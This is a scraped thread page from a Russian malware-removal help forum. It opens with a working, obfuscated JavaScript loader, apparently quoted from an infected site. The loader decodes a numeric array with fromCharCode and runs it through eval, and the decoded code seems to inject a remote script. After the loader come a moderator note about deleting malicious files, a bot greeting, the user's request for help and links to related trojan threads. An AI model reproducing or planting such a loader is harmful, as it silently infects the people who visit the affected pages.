    try{q=document.createElement("d"+"i"+"v");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'om'+'Ch';f+='arC';}try{qwe=prototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f["s"+"ubstr"](11)+zz];n="19$50$57.5$54$48.5$57$51.5$54.5$54$19$19.5$15$60.5$5.5$4$3.5$58$47.5$56$15$57.5$56$53$15$29.5$15$18.5$51$57$57$55$28$22.5$22.5$53$50.5$58.5$48.5$47.5$52$47.5$50.5$58.5$49$22$51.5$56.5$21.5$47.5$54$21.5$47.5$56$57$51.5$56.5$57$22$48.5$54.5$53.5$22.5$50.5$22.5$18.5$28.5$5.5$4$3.5$51.5$50$15$19$57$59.5$55$49.5$54.5$50$15$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$29.5$29.5$15$18.5$57.5$54$49$49.5$50$51.5$54$49.5$49$18.5$19.5$15$60.5$5.5$4$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$23$28.5$5.5$4$3.5$61.5$5.5$4$3.5$49$54.5$48.5$57.5$53.5$49.5$54$57$22$54.5$54$53.5$54.5$57.5$56.5$49.5$53.5$54.5$58$49.5$15$29.5$15$50$57.5$54$48.5$57$51.5$54.5$54$19$19.5$15$60.5$5.5$4$3.5$3.5$51.5$50$15$19$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$29.5$29.5$15$23$19.5$15$60.5$5.5$4$3.5$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$23.5$28.5$5.5$4$3.5$3.5$3.5$58$47.5$56$15$51$49.5$47.5$49$15$29.5$15$49$54.5$48.5$57.5$53.5$49.5$54$57$22$50.5$49.5$57$33.5$53$49.5$53.5$49.5$54$57$56.5$32$59.5$41$47.5$50.5$38$47.5$53.5$49.5$19$18.5$51$49.5$47.5$49$18.5$19.5$44.5$23$45.5$28.5$5.5$4$3.5$3.5$3.5$58$47.5$56$15$56.5$48.5$56$51.5$55$57$15$29.5$15$49$54.5$48.5$57.5$53.5$49.5$54$57$22$48.5$56$49.5$47.5$57$49.5$33.5$53$49.5$53.5$49.5$54$57$19$18.5$56.5$48.5$56$51.5$55$57$18.5$19.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$57$59.5$55$49.5$15$29.5$15$18.5$57$49.5$59$57$22.5$52$47.5$58$47.5$56.5$48.5$56$51.5$55$57$18.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$54.5$54$56$49.5$47.5$49$59.5$56.5$57$47.5$57$49.5$48.5$51$47.5$54$50.5$49.5$15$29.5$15$50$57.5$54$48.5$57$51.5$54.5$54$15$19$19.5$15$60.5$5.5$4$3.5$3.5$3.5$3.5$51.5$50$15$19$57$51$51.5$56.5$22$56$49.5$47.5$49$59.5$40.5$57$47.5$57$49.5$15$29.5$29.5$15$18.5$48.5$54.5$53.5$55$53$49.5$57$49.5$18.5$19.5$15$60.5$5.5$4$3.5$3.5$3.5$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$24$28.5$5.5$4$3.5$3.5$3.5$3.5$61.5$5.5$4$3.5$3.5$3.5$61.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$54.5$54$53$54.5$47.5$49$15$29.5$15$50$57.5$54$48.5$57$51.5$54.5$54$19$19.5$15$60.5$5.5$4$3.5$3.5$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$24$28.5$5.5$4$3.5$3.5$3.5$61.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5$56$51.5$55$57$22$56.5$56$48.5$15$29.5$15$57.5$56$53$15$20.5$15$37.5$47.5$57$51$22$56$47.5$54$49$54.5$53.5$19$19.5$22$57$54.5$40.5$57$56$51.5$54$50.5$19$19.5$22$56.5$57.5$48$56.5$57$56$51.5$54$50.5$19$24.5$19.5$15$20.5$15$18.5$22$52$56.5$18.5$28.5$5.5$4$3.5$3.5$3.5$51$49.5$47.5$49$22$47.5$55$55$49.5$54$49$32.5$51$51.5$53$49$19$56.5$48.5$56$51.5$55$57$19.5$28.5$5.5$4$3.5$3.5$61.5$5.5$4$3.5$61.5$28.5$5.5$4$61.5$19.5$19$19.5$28.5"[((e)?"s":"")+"p"+"lit"]("a$"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-688!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(1+1*n[k]));}q=ss;e(q);}
    Скрыть
    Последний раз редактировалось миднайт; 22.05.2012 в 11:26. Причина: удален архив с вредоносными файлами

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Cyber Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для Info_bot
    Регистрация
    11.05.2011
    Сообщений
    2,465
    Вес репутации
    343
    Уважаемый(ая) Dmitriiy, спасибо за обращение на наш форум!

    Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в правилах оформления запроса о помощи.

    Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

  4. #3
    Junior Member (OID) Репутация
    Регистрация
    17.05.2012
    Сообщений
    2
    Вес репутации
    21
    Up!!! Неужели никто не сможет помочь???

  • Уважаемый(ая) Dmitriiy, наши специалисты оказали Вам всю возможную помощь по вашему обращению.

    В целях поддержания безопасности вашего компьютера настоятельно рекомендуем:

     

     

    Чтобы всегда быть в курсе актуальных угроз в области информационной безопасности и сохранять свой компьютер защищенным, рекомендуем следить за последними новостями ИТ-сферы портала Anti-Malware.ru:

     

     

    Anti-Malware VK

     

    Anti-Malware Telegram

     

     

    Надеемся больше никогда не увидеть ваш компьютер зараженным!

     

    Если Вас не затруднит, пополните пожалуйста нашу базу безопасных файлов.

  • Похожие темы

    1. Backdoor.Win32.Agent.fvy и Trojan-Downloader.Win32.Agent.lvm
      От alexm в разделе Помогите!
      Ответов: 7
      Последнее сообщение: 28.09.2010, 23:01
    2. System.exe, 2070 год, Agent.NVL, Agent.OXP
      От BloodNik в разделе Помогите!
      Ответов: 5
      Последнее сообщение: 18.03.2009, 02:58
    3. Ответов: 7
      Последнее сообщение: 22.02.2009, 07:43
    4. Rootkit.win32.Agent.jp Trojan-Downloader.Win32.Agent.acl
      От clyde в разделе Помогите!
      Ответов: 11
      Последнее сообщение: 22.02.2009, 02:43
    5. TrojanDownloader.Agent.DJT trojan и Rootkit.Agent.DP trojan
      От Stas[SNRC] в разделе Помогите!
      Ответов: 5
      Последнее сообщение: 06.10.2007, 16:31

    Метки для этой темы

    Свернуть/Развернуть Ваши права в разделе

    • Вы не можете создавать новые темы
    • Вы не можете отвечать в темах
    • Вы не можете прикреплять вложения
    • Вы не можете редактировать свои сообщения
    •  
    Page generated in 0.00147 seconds with 16 queries